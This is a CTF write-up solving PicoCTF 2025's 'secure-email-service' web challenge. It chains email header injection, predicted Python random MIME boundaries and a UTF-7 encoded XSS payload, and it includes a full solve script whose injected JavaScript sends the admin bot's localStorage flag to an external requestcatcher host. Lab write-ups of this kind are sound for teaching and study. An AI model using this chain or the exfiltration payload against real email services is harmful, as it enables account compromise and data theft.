Web/Secure-Email-Service; PicoCTF 2025

Mar 17, 2025

29 mins read

While PicoCTF is generally geared towards beginners, there are always a small handful of 500-point challenges that are meant to be insanely hard. This year, there were three. A short summary of each:

  • Ricochet (crypto): MiTM the encrypted communication between a robot and its controller to control its movement
  • Pachinko Revisited (pwn/rev): Reverse engineer a custom CPU architecture to exploit a NAND gate simulator written in it
  • secure-email-service (web): Trick an email server into signing arbitrary user input

This post will be a writeup for the last of these three, secure-email-service. To give an idea of its difficulty: only nine out of the ten thousand teams who signed up this year were able to solve it!

Context

Honestly, I initially didn’t have much hope hope in solving this. Quoting the very first thing I said about this challenge: "would not spend a significant amount of time on this challenge unless we do everything else". Why?

First, I don’t main web security. I do binary exploitation. If the required solution needs me to pull off some crazy exploit chain involving placing iframes inside iframes or requires knowledge of DOMPurify internals, it’s just not happening.

Second, this challenge was written by EhhThing aka Larry; I knew that the last time he made a challenge based around email, it went unsolved in one of the hardest CTFs out there.

Third, I have not had great experiences with Larry challenges. Last year’s challenge, elements, was an XSS challenge so contrived that the admin bot was running a custom version of Chrome that edited out specific JS functions to prevent unintended solutions. Solving that was not a particularly enjoyable time.

But we’d have to solve this if we wanted to win, so oh well. I’ll give it a shot.

### secure-email-service
Author: ehhthing, strellic

S/MIME means secure email, right?
[FILE: secure-email-service.tar]

Initial Reactions

After downloading and extracting the server files, the first thing I always do is search for the string FLAG; I like to keep in mind what I have to do if I want to solve this challenge. The first hit I get is inside a file called admin_bot.py that places the flag inside an admin bot’s local storage: targets Okay, so it sounds like we’re going to have to get XSS. Not off too a good start here, but let’s keep going.

I don’t want to look into the code too much just yet, so I got the server running with a simple docker compose up and visited the homepage. I’m met with a login screen that I don’t immediately have credentials for, but am told I can get some at /api/password: targets So, I head over there and I get a password that I can use to login as user@ses. As the title of this challenge says, this is an application for sending emails: targets I have a welcome email from the admin, and while it doesn’t contain anything interesting, it sure does look interesting: targets That’s some pretty fancy styling for an email. Are emails rendered as HTML? That would be some pretty easy XSS if that were the case. Let’s try sending an email to ourselves with an XSS payload: targets Hm. That’s certainly not as fancy. What’s going on here? At this point, I started scanning the code for some common XSS sinks. It doesn’t take me long to spot a pretty obvious one in email.html, the page for viewing emails:

const msg = await email(id);
const parsed = await parse(msg.data);

const content = document.getElementById('content');
if (parsed.html) {
	const signed = await getSigned(msg.data, await rootCert());
	if (signed) {
		const { html } = await parse(signed);
		const shadow = content.attachShadow({ mode: 'closed' });
		shadow.innerHTML = `<style>:host { all: initial }</style>${html}`; // !!
	} else {
		content.style.color = 'red';
		content.innerText = 'invalid signature!';
	}
}

While I don’t know what most of these functions are actually doing yet, I can take a good guess. email() probably grabs the email we’re viewing, and parse() parses out that email. If that email has HTML content associated with it, then the code will grab and verify the email’s cryptographic signature. If it succeeds, then the HTML content will be rendered with the shadow.innerHTML line.

However, this raises tons of new questions. Why did the admin send HTML content and we didn’t? Where are these cryptographic signatures coming from? What are parse() and getSigned() actually doing? Given those two functions, is the email parsing done entirely client-side?

Code Analysis

At this point, all the questions I have require reading the source code. So let’s check it out! We’ll answer the first and second question by looking at init.py, the script that gets ran on server startup.

async def init():
	ca_pub, ca_priv = util.generate_root_cert()
	await db.set_root_cert(ca_pub.public_bytes(serialization.Encoding.PEM).decode())

	admin_pub, admin_priv = util.export(util.generate_sign_cert('admin@ses', ca_pub, ca_priv))
	
	admin = User(
		username='admin@ses',
		password=secrets.token_hex(16),
		public_key=admin_pub,
		private_key=admin_priv
	)
	await db.set_user('admin@ses', admin)

	user = User(
		username='user@ses',
		password=secrets.token_hex(16)
	)
	await db.set_user('user@ses', user)

	msg = util.generate_email(
		sender=admin.username,
		recipient=user.username,
		subject='Welcome to Secure Email Service!',
		content=template.render(title='Welcome!', content='\n\n'.join([
			'Welcome to Secure Email Service.. <rest cut out>',
		])),
		html=True,
		sign=True,
		cert=admin_pub,
		key=admin_priv
	)
	await db.send_email(user, str(uuid.uuid4()), msg)

	# NOTE: only for debugging
	# we cannot see these as an attacker
	print('username:', user.username)
	print('password:', user.password)
	print('admin username:', admin.username)
	print('admin password:', admin.password)

	await db.r.aclose() # type: ignore

asyncio.run(init())

When the server starts up, a certificate authority public/private key pair is generated, and right afterwards a keypair is generated for the admin, signed by the CA; however, we’re never given one. The user/admin accounts are created, and then that generic welcome email is sent to us notably with html=True set. What’s that doing? We’ll head over to util.py to get our answer:

from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smail

def generate_email(
	sender: str,
	recipient: str,
	subject: str,
	content: str,
	html: bool = False,
	sign: bool = False,
	cert: str = '',
	key: str = '',
) -> str:
	msg = MIMEMultipart()
	msg['From'] = sender
	msg['To'] = recipient
	msg['Subject'] = subject
	msg.attach(MIMEText(content))

	if html:
		msg.attach(MIMEText(content, 'html'))		

	if sign:
		return smail.sign_message(msg, key.encode(), cert.encode()).as_string()

	return msg.as_string()

This function’s pretty simple: it generates an email using the email library, and places the necessary headers in that we gave. It attaches the content we want to send, and if the html flag is set, attaches it again but this time as HTML content. If sign is set, it’ll cryptographically sign the message with the smail library using the keypair given. Lastly, it returns the ‘raw’ email with .as_string() (that is, how it would be sent over a network).

So that answers our first two questions: the admin gets to send HTML and we don’t because init.py never gave us a public/private keypair to sign our message with. So, no easy XSS then. What about our third question, how parse() and getSigned() work? We can pretty easily trace back these two functions to email.js and smime.js respectively. I won’t show the code for them in full, the short version is they both call out to two massive WebAssembly modules openssl.wasm and parser.wasm: targets Specifically, smime.js uses openssl.wasm to run openssl cms -verify -in /email.eml -CAfile /ca.crt in your browser (where email.eml is the raw email and ca.crt is the CA public key). If that worked fine, then getSigned() will return whatever OpenSSL emitted to standard output:

// code from smime.js

const exit = wasi.start(wasm.instance);
// 'if the exit code was 0 and stderr was "CMS verification successful", return stdout. otherwise, return nothing.'
// 'stdout' is going to be the signed portion of the email
return exit === 0 && stderr.trim() === 'CMS Verification successful' ? stdout : null;

As for email.js, we’re not told much about what parser.wasm actually is. It just runs parser /email.eml and returns whatever standard output was as JSON:

// code from email.js

wasi.start(instance);
    
return JSON.parse(stdout);

We can, however, get a peek at what it’s doing by opening up inspect element and placing a breakpoint right at that return statement: targets Okay, so it parses out a couple of useful headers from our email. It also grabs the text / HTML content if there is any. But what’s actually doing the parsing here? Like, is there a specific library being used here? As always, strings comes to the rescue: targets That’s good information to know– the parsing is done with a library called mail-parser. Since this is a library and not a standalone program there’s probably some extra code used to hook this thing up to WASM, but for now I’m going to assume the fine details aren’t necessary.

And now all the questions I have so far are answered. Except for, of course, the obvious one: what’s the vulnerability?

Spotting the Vulnerability

Well, there’s one email vulnerability that I can think of which would fit pretty nicely with this challenge: header injection. If you’ve never seen what a raw email looks like, it’s now time. Here’s what our original email looks like:

Content-Type: multipart/mixed; boundary="===============0613983543823445973=="
MIME-Version: 1.0
From: user@ses
To: user@ses
Subject: hi

--===============0613983543823445973==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

<script>alert(1)</script>

--===============0613983543823445973==--

The first part of an email are its headers. First, the content type: multipart/mixed means ’this message may have multiple sections’. Because we need to delimit where each of those sections are, we also have to define a ‘boundary’ strings that splits up each section– here, it’s ===============0613983543823445973==. The next few headers are pretty simple. We give the MIME (the encoding happening here) version, who the email’s from/to, and a subject. The boundary string appears to say “this is a new section of the email”, and inside that boundary is our failed XSS payload. Notably, the Content-Type of our section is text/plain– this is what separates HTML content from text content. If that content type was text/html, then our content would be treated as HTML instead.

Of course, the app doesn’t let us send raw emails. We give it an email, subject, and content, and then generate_email() creates the raw email from what we gave it. From our perspective, it’s really more like this:

Content-Type: multipart/mixed; boundary="===============0613983543823445973=="
MIME-Version: 1.0
From: user@ses
To: /* <<WE CONTROL>> */
Subject: /* <<WE CONTROL>> */

--===============0613983543823445973==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

/* <<WE CONTROL>> */

--===============0613983543823445973==--

But there’s something interesting to think about here: what if we put a newline in our subject? Like, what if our subject was hi\nFoo: Bar? Would that inject a new header Foo into our email? Let’s test this by setting an email to ourselves, and set our subject to hi\nFrom: pwned@ses. If our injection works, the email would look like this:

Content-Type: multipart/mixed; boundary="===...."
.... extra headers snipped ...
Subject: hi
From: pwned@ses

and the email parser might just think the email’s coming from pwned@ses!

So, we’ll send this to the server:

POST /api/send HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 44
Content-Type: application/json
token: 69223.....

{"to":"user@ses","subject":"hi\nFrom: pwned@ses","body":"hi"}

And we get back…

HTTP/1.1 500 Internal Server Error
date: Wed, 12 Mar 2025 02:03:55 GMT
server: uvicorn
content-length: 21
content-type: text/plain; charset=utf-8

Internal Server Error

Uhh.. that’s interesting. Does the docker container have any useful error messages for us? targets Dang. It looks like Python’s email library picks up on what we’re doing and refuses to create the email. Maybe there’s a way around this? Looking at the code, the check is implemented like so:

_embedded_header = re.compile(r'\n[^ \t]+:')

if _embedded_header.search(value):
	raise HeaderParseError("header value appears to contain "
		"an embedded header: {!r}".format(value))

It scans our headers and looks for anything matching the regex ’newline, any amount characters that aren’t space or tab, then a colon’. So what if we just.. put a space at the end our header?

POST /api/send HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 44
Content-Type: application/json
token: 69223.....

{"to":"user@ses","subject":"hi\nFrom : pwned@ses","body":"hi"}

That goes through. And if we check our email.. targets Gotcha! So we indeed do have header injection.

Increasing Attack Surface

Before we think about exploiting this, let’s try to increase our attack surface. Is there anything else we can inject? What about…. a boundary? That would be super powerful: we would basically have the ability to spoof new sections of our email. Looking at a few emails we send ourself, the boundary string is always =======<RANDOM NUMBER>==. How’s that number being generated? I do a quick search for the word ‘boundary’ inside of CPython and immediately come across this function in generator.py:

@classmethod
def _make_boundary(cls, text=None):
	# Craft a random boundary.  If text is given, ensure that the chosen
	# boundary doesn't appear in the text.
	token = random.randrange(sys.maxsize)
	boundary = ('=' * 15) + (_fmt % token) + '=='

Bingo! It’s generated with random– this module is very well known to generate predictable random numbers. We can send a few hundred emails to ourself, grab all the boundaries inside them, and that gives us enough information to start predicting the next ones. That would let us inject new sections into our emails!

I won’t script this out just yet, but will keep in mind that it’s possible and change generate_email to hardcode the boundary:

def generate_email():
	msg = MIMEMultipart(boundary=("===============adminone==" if sign==True else "===============papernaper=="))
	msg['From'] = sender
	msg['To'] = recipient
	msg['Subject'] = subject
	msg.attach(MIMEText(content))
	if html:
		msg.attach(MIMEText(content, 'html'))		
	if sign:
		m = smail.sign_message(msg, key.encode(), cert.encode()).as_string()
		return re.sub(r"=+(\d+)=+","===============admin2==",m)
	return msg.as_string()

With these two findings, we basically have control over the entire email. We can change any of the email’s initial headers, and we can add as many new sections to the email as we want. But how does this help us get the flag?

Crafting an Exploit

This part took me some time. While we can inject a new section into our message with the content type of text/html, and we can append a cryptographic signature to said email, it seems impossible to create a valid signature here. We only know the public key of the CA, and it’s about twenty more years until we can factor 2048-bit RSA. So what’s the solution? It hit me when I was looking at the code for the admin bot again:

# reply to email
await page.wait_for_url('http://127.0.0.1:8000/reply.html?id=*', wait_until='networkidle')
await page.type('textarea', '\n\n'.join([
	'We\'ve gotten your message and will respond soon.',
	'Thank you for choosing SES!',
	'Best regards,',
	'The Secure Email Service Team'
]))
await page.click('#reply button')

Not only does the bot view your email, it replies to it! That’s certainly suspicious.. what does a reply to ourself look like? targets Wait a minute! The subject is Re: <ORIGINAL SUBJECT>! That is, the subject of our email is used as the subject to the reply! So what if instead of US doing the header injection… we get the admin to do it? The headers are injected before the email is signed, so we could theoretically predict the admin’s boundary, fake a new HTML section in the email, and it would be signed!

But let’s not get too far ahead of ourselves here. How would this injection even work? If we send an email with the subject hi\nFrom : pwned to the admin, the subject the admin receives is only going to be hi. We need some way to encode newlines in our header so that the admin receives the subject as intended.

After the two things I could immediately think of (url encoding and double-escaping) failed, I started reading the wikipedia page for MIME encoding. Eventually I came across this interesting section:

Since RFC 2822, conforming message header field names and values use ASCII characters; 
values that contain non-ASCII data should use the MIME **encoded-word** syntax (RFC 2047) instead 
of a literal string.

Okay, so there indeed is a way to encode nonprintable characters into headers! I check out that RFC and start scrolling around until I get to this part:

4.1. The "B" encoding

   The "B" encoding is identical to the "BASE64" encoding defined by RFC
   2045.

.... snip ....

Examples

The following are examples of message headers containing 'encoded-
word's:

Subject: =?ISO-8859-1?B?SWYgeW91IGNhbiByZWFkIHRoaXMgeW8=?=
=?ISO-8859-2?B?dSB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?=

Okay, now that’s very interesting; the RFC allows us to base64-encode our headers! This should solve our problem. Let’s give it a shot: we’ll base64 encode hi\nFrom : noway@ses -> aGkKRnJvbSA6IG5vd2F5QHNlcw==, then send an email to ourself with the subject as =?ISO-8859-1?B?aGkKRnJvbSA6IG5vd2F5QHNlcw==?=. If we check our inbox… targets That certainly looks good! How about when we reply? targets !!!!!!! This is really good. We’ve just found a way to inject headers in the admin’s reply email! All we have to do is think about how to get XSS with this.

The first idea I had was to inject the following into the admin’s reply:

hi

--===============adminone==
Content-Type : text/html;
MIME-Version : 1.0

<img src="x" onerror=alert(1); />

(where --======adminone== is the multipart boundary of the admin’s email).

In theory, this should inject a new section into the admin’s email with an HTML content type. This part would get signed with everything else, and then we would get our well-deserved XSS. If we send this to the admin, log into the admin’s account, and send a reply back to us, we find it almost works: targets If we check out the contents of this page with inspect element, our content HAS been injected as HTML, but it’s been… HTML escaped?? targets What’s going on here? Well, we’re not injecting exactly where you might think we are. If we view a regular reply from an admin, we see our subject shows up in two spots. One in the Re: <subject> subject, and one in the email itself: targets The one that goes in the email is obviously HTML escaped to prevent trivial XSS. And if we check the raw email in our XSS attempt.. targets It’s using THAT as the email. Annoying. Can we get around this? Well, we control everything about this email ‘section’. What if we specified a different encoding for this section that would encode our <> into something that wouldn’t get HTML escaped? When the parser decodes our email it would decode that something back into the <> characters want!

The first encoding that I thought to try was UTF-7. This encoding turns characters like < into +ADw-, and in theory none of the characters there should be HTML escaped. So, we’ll encode our XSS payload with UTF-7 like so, change the encoding of our ‘section’ by adding charset=utf-7 to the end of the Content-Type header, and now our payload looks like this:

hi

--===============adminone==
Content-Type : text/html; charset=utf-7
MIME-Version : 1.0

+ADw-img+ACA-src+AD0-+ACI-x+ACI-+ACA-onerror+AD0-alert(1)+ADs-+ACA-/+AD4-
--===============adminone==

We wrap that up in encoded-word format, set it as the subject we send to the admin, login to the admin to reply to ourselves, and… targets BANG!!

Well, there is one tiny last thing we have to do. This reply is going to us, not to the admin, which is obviously a little problematic. But this is pretty easy to get around; we inject a From: admin@ses header along with our payload, and now the email looks like it’s coming from the admin. When the admin replies, the reply will go to itself!

At this point, we have a ‘mind solution’:

  • Send ourself a BUNCH of emails, and grab all the multipart boundaries used in those emails. Use them to crack the state of random.random(), and now we can predict what the admin’s multipart boundary is going to be.
  • Send the admin our payload email. The subject of the email should be something like hi=?ISO-8859-1?B?<BASE64 ENCODED PAYLOAD>?=\nFrom :admin@ses, where <BASE64 ENCODED PAYLOAD> is the payload previously mentioned. The payload should also be using the correctly predicted multipart boundaries instead of the currently-hardcoded adminone boundary.
  • Trigger the admin bot. The admin will view the email, which it thinks is from itself, and send a generic reply to it. Except, that generic reply contains our malicious subject with our XSS payload, and it’s going to the admin!
  • Trigger the admin bot, again. The admin will view the email it just sent itself, which has the XSS payload, and now we’ve gotten XSS on the admin.

Let’s actually put these steps in action. I’ll start up an ‘unchanged’ version of the web server that doesn’t hardcode anything like before, with the goal to write a script that auto-pwns this server.

Writing the Solve Script

Step 1: Web Server Interaction

The first thing we’ll have to do is write a few functions to automatically interact with the webserver. This part isn’t very difficult or interesting, so I’ll just end it with the code I wrote:

import requests as req
from requests import Session

# Server to run the exploit against.
url = "http://127.0.0.1:8000"

# Get credentials at /api/password.
def get_creds():
    return {'username':"user@ses","password":req.get(f"{url}/api/password").json()}

# Login with these credentials, return a session.
def login(creds) -> Session:
    r = req.post(f"{url}/api/login",json=creds)
    if r.status_code == 401:
        raise Exception("Invalid credentials")
    s = Session()
    s.headers.update({"token":r.json()})
    return s

# View an email given its ID.
def email(s: Session, id: str):
    return s.get(f"{url}/api/email/{id}").json()

# Trigger the admin bot. It will click on the latest email sent to it
# and give a reply.
def admin_bot(s: Session):
    r = s.post(f"{url}/api/admin_bot").json()
    assert r == "success"
    return r

# Send an email to someone.
def send(s: Session, to: str, subject: str, body: str):
    r = s.post(f"{url}/api/send", json = 
            {
                "to": to,
                "subject": subject,
                "body": body
            }
        )
    return r.json()

Step 2: Cracking random.random()

To recall, we need to predict the admin’s multipart boundary string for this attack to work. This string gets generated using random.random, an insecure random number generator. Given a few hundred outputs of this RNG, we can start predicting what it’s going to output next.

The specific call to random that happens is random.randrange(sys.maxsize), aka random.randrange(9223372036854775807). This generates a random number between 1 and 9,223,372,036,854,775,807. This is a little strange to work with, because a quick search for ‘python random.random crack’ finds that all available crackers want 32-bit integers: targets Our output is definitely not a 32-bit integer. So what should we submit? Well, we can follow the source code of random.randrange and find that it calls ._randbelow(), which then calls getrandbits(63) (because 92233... == 2**63). Going to that function, we find it services our request by generating a series of 32-bit integers, then stripping any extra bits off as necessary.

In short, random.randrange(2**63), what we’re trying to predict, is produced by the RNG by combining two 32-bit integers and stripping a bit off to make it a 63-bit integer. We can take the 63-bit integer we’re given, split it in half, and now we have the two 32-bit integers we can submit to any random-solving tool out there.

Well, almost. Since a bit gets stripped off one of them, we’re losing a bit of information which most random solvers can’t deal with. Therefore, we’ll have to use a solver that can work with missing information like this one. I wasn’t sure exactly which bit was being removed, so I fiddled around with a local simulation of what we’re dealing with until I found this worked:

import z3_crack # https://github.com/icemonster/symbolic_mersenne_cracker/blob/main/main.py
import random

r1 = random.Random()
ut = z3_crack.Untwister()
for _ in range(1337):
    r = r1.getrandbits(63)
    # RNG output as binary
    bin_str = bin(r)[2:].zfill(63)
    half1, half2 = bin_str[:31], bin_str[31:]
    # We don't know the last bit of half1
    half1 = half1 + '?'
    ut.submit(half2)
    ut.submit(half1)

# Solve for random.random() state given integers, return predicted state
r2 = ut.get_random()
# Check if predictions were correct
for _ in range(624):
    assert r1.getrandbits(32) == r2.getrandbits(32)
print("State cracked!")

Okay, now we know how to crack random’s state given a bunch of multipart boundary strings! We just need to hook up what we’ve done above to the application.

I’ll write a basic get_boundary() function that sends ourself an email and returns the boundary string it contained:

def get_boundary(s: Session) -> int:
    mail = email(s,send(s,"user@ses","Hi","Bro"))
    boundary = int(re.findall(r"===(\d+)==",mail['data'])[0])
    return boundary

And since this returns the same thing as r1.getrandbits(63) would in the previous script, we can just replace that with get_boundary() and this section is complete:

import z3_crack # https://github.com/icemonster/symbolic_mersenne_cracker/blob/main/main.py

def error(text):
	print(f"[\x1b[41mERROR\x1b[0m] {text}")
	sys.exit()

def info(text):
	print(f"[\x1b[32;1m+\x1b[0m] {text}")

ut = z3_crack.Untwister()
for _ in range(800):
    b = bin(get_boundary(s))[2:].zfill(63)
    half1, half2 = b[:31], b[31:]
    half1 = half1 + '?'
    ut.submit(half2)
    ut.submit(half1)
    
r2 = ut.get_random()
# Let's send one more email to ourself and see if our prediction's correct.
info("State solved!") if r2.getrandbits(63) == get_boundary(s) else error("Boundary prediction failed.")
# Okay, we were right. Let's proceed with the exploit.

# Skip over the boundary that our payload email generates.
_ = r2.getrandbits(63) # skip over the email we send
# Admin's boundary string!
admin_boundary = '%019d' % r2.getrandbits(63)

Step 3: Sending the payload

Okay, now we should script sending our XSS payload to the admin. This step isn’t very hard, we just need to format our predicted boundary into the payload:

payload = f"""hi

--==============={admin_boundary}==
Content-Type : text/html; charset=utf-7
MIME-Version : 1.0

+ADw-img+ACA-src+AD0-+ACI-x+ACI-+ACA-onerror+AD0-alert(1)+ADs-+ACA-/+AD4-
--==============={admin_boundary}==
"""

# Write payload in encoded-word format (or else the admin wouldn't see the newlines in the subject).
# Also, inject a 'From' header so when the admin replies back the XSS goes to us instead of the admin.
final_payload = f'hi=?ISO-8859-1?B?{base64.b64encode(payload.encode()).decode()}?=\nFrom : admin@ses'

# Send the payload.
send(s,"admin@ses",final_payload,'ggbro')

To verify this step worked, let’s login to the admin’s account and look at the email we sent: targets Looks good. Let’s reply to it, which should send the XSS email to us. If we look at that one… targets Uh oh. That’s not what I was expecting. Did we predict the boundary wrong..? If we look at the raw email, we’ll find out what’s going on. We injected the following: targets And the actual boundary string of the email is… targets Hm. We predicted the random number correctly, but there seems to be a random .0 added to the actual boundary. Does Python attempt to prevent this attack or something? If we look back at the _make_boundary function from all the way back, we’ll spot something I didn’t realize before:

while True:
	cre = cls._compile_re('^--' + re.escape(b) + '(--)?$', re.MULTILINE)
	if not cre.search(text):
		break
	b = boundary + '.' + str(counter)
	counter += 1
return b

The boundary generation function will do a regex search for the boundary string, and if it finds it, it’ll append .0 to the boundary. If it finds boundary.0, the boundary becomes boundary.1, if it finds that it becomes boundary.2, boundary.3 and so on. This seems to block our prediction attempts, because it tries to ensure that the boundary never appears in the email before using it…

.. but wait a minute. Look at that regex again:

cls._compile_re('^--' + re.escape(b) + '(--)?$', re.MULTILINE)

It uses ^ and $ to look for the boundary string, meaning it’ll only match lines that contain exactly the boundary string and nothing else. So what if we just added whitespace to the start of our predicted boundary? Like this:

   --===============1279702649646374987==
Content-Type : text/html; charset=utf-7
MIME-Version : 1.0

+ADw-img+ACA-src+AD0-+ACI-x+ACI-+ACA-onerror+AD0-alert(1)+ADs-+ACA-/+AD4-
   --===============1279702649646374987==

This should bypass the above check, and the local email parser still might detect our boundary. Let’s give it a shot by changing our payload variable like so:

payload = f"""hi

   --==============={admin_boundary}==
Content-Type : text/html; charset=utf-7
MIME-Version : 1.0

+ADw-img+ACA-src+AD0-+ACI-x+ACI-+ACA-onerror+AD0-alert(1)+ADs-+ACA-/+AD4-
   --==============={admin_boundary}==
"""

Let’s run our script again, login as the admin & reply to the malicious email, and view the email we sent ourselves. This time…. targets Nice! We’ve just scripted XSS on the admin. All we need to do now is change our XSS payload to exfiltrate the flag to us, and have our script trigger the admin bot.

Step 4: The final script

The completed exploit script is as follows:

import requests as req
from requests import Session
import os, re, random, sys, tqdm, time, base64
import z3_crack # https://github.com/icemonster/symbolic_mersenne_cracker/blob/main/main.py

# Server to run the exploit against.
url = "http://127.0.0.1:8000"
# What JS do you want the admin to execute?
js_to_run = """fetch("https://clueless.requestcatcher.com/?"+btoa(localStorage.getItem("flag")))"""

# Some logging functions.

def error(text):
	print(f"[\x1b[41mERROR\x1b[0m] {text}")
	sys.exit()

def info(text):
	print(f"[\x1b[32;1m+\x1b[0m] {text}")

# Some functions to interact with the server's API.

"""
Get credentials for the default user.
The username is always user@ses, and the password is randomly generated.
The server only lets you view it once for some random reason, so I would suggest editing the code to fix that.
"""
def get_creds():
    return {'username':"user@ses","password":req.get(f"{url}/api/password").json()}

"""
Login with a pair of credentials, return a requests session that can be passed to other functions.
Flow is intended to be:

s = login(get_creds())
mail = send(s,"admin@ses","..","..")
"""
def login(creds) -> Session:
    r = req.post(f"{url}/api/login",json=creds)
    if r.status_code == 401:
        raise Exception("Invalid credentials")
    s = Session()
    s.headers.update({"token":r.json()})
    return s

"""
View a specific email.
"""
def email(s: Session, id: str):
    return s.get(f"{url}/api/email/{id}").json()

"""
Trigger the admin bot. The bot will click on the first email in its inbox
and send a reply to it.
"""
def admin_bot(s: Session):
    r = s.post(f"{url}/api/admin_bot").json()
    assert r == "success"
    return r

"""
Send an email to someone. Returns the ID of the email.
"""
def send(s: Session, to: str, subject: str, body: str):
    r = s.post(f"{url}/api/send", json = 
            {
                "to": to,
                "subject": subject,
                "body": body
            }
        )
    return r.json()
    
# Some functions that use the API.
      
"""
Send a dummy email to ourselves and return the boundary it contained.
This is necessary as the boundary is generated with the 'random' module,
and we need to predict what the admin's boundary is going to be when we reply
to them.
"""
def get_boundary(s: Session) -> int:
    mail = email(s,send(s,"user@ses","Hi","Bro"))
    boundary = int(re.findall(r"===(\d+)==",mail['data'])[0])
    return boundary

# Now, the actual exploit.

# Get our login session.
s = login(get_creds())

# First, we crack random state.
info("Predicting random.random state...")
ut = z3_crack.Untwister()
for _ in tqdm.tqdm(range(800)):
    b = bin(get_boundary(s))[2:].zfill(63)
    half1, half2 = b[:31], b[31:]
    half1 = half1 + '?'
    ut.submit(half2)
    ut.submit(half1)
# Now we crack the state of random.random() given these outputs
info("Solving state...")
r2 = ut.get_random()
# We should double check this actually worked.
# Let's predict what the boundary of our next email will be,
# and see if we were right.
info("State solved!") if r2.getrandbits(63) == get_boundary(s) else error("Boundary prediction failed.")
# Okay, we were right. Let's proceed with the exploit.

# Skip over the boundary that our payload email generates.
r2.getrandbits(63)
# Admin's boundary string!
admin_boundary = '%019d' % r2.getrandbits(63)

info("Sending payload to admin bot..")

# This JS is going to be placed in an eval(atob()) statement, so base64 encode it.
js_to_run = base64.b64encode(js_to_run.encode()).decode().replace("=","+AD0-")

payload = f"""hi

   --==============={admin_boundary}==
Content-Type : text/html; charset=utf-7
MIME-Version : 1.0

+ADw-img+ACA-src+AD0-+ACI-x+ACI-+ACA-onerror+AD0-eval(atob('{js_to_run}'))+ADs-+ACA-/+AD4-
   --==============={admin_boundary}==
"""

# Write payload in encoded-word format (or else the admin wouldn't see the newlines in the subject).
# Also, inject a 'From' header so when the admin replies back the XSS goes to the admin instead of us.
final_payload = f'hi=?ISO-8859-1?B?{base64.b64encode(payload.encode()).decode()}?=\nFrom : admin@ses'

# Send the payload..
send(s,"admin@ses",final_payload,'Impossible W')
# Triger the admin bot..
info("First payload successful!") if admin_bot(s) == "success" else error("Payload failed.")
info("Triggering XSS.. check your listener!")
# and trigger it again to view the email it just sent itself.
admin_bot(s)

We can run this.. targets .. check our listener .. targets .. and base64-decode what we exfiltrated to get our flag, picoCTF{always_a_step_ahead_fb2a1a8c}!

Conclusion

And that’s the solution to secure-email-service! In conclusion, the steps to solve this challenge are:

  • Spot that you can inject headers through your email subject
  • Spot that Python’s email library generates predictable boundary strings, letting you inject new ‘sections’ into your email with your header injection
    • Additionally, spot that Python’s search for the boundary string is flawed and can be bypassed.
  • Realize that the admin replies to your email using your subject, meaning you can trick the admin into performing header injection for you
  • Learn about the Encoded-Word format and use it to encode newlines in your subject, letting you inject a new HTML section into the admin’s reply
  • Get your XSS payload working by encoding it with UTF-7
  • Script everything mentioned above, notably predicting random.random from the boundary of emails we send ourself.

I had a way better time solving this than I did elements. In fact, I would say this is the best web security challenge I’ve ever solved! Massive thanks to EhhThing for making this challenge, and just as much to you for sitting through a six thousand word writeup!

Sharing is caring!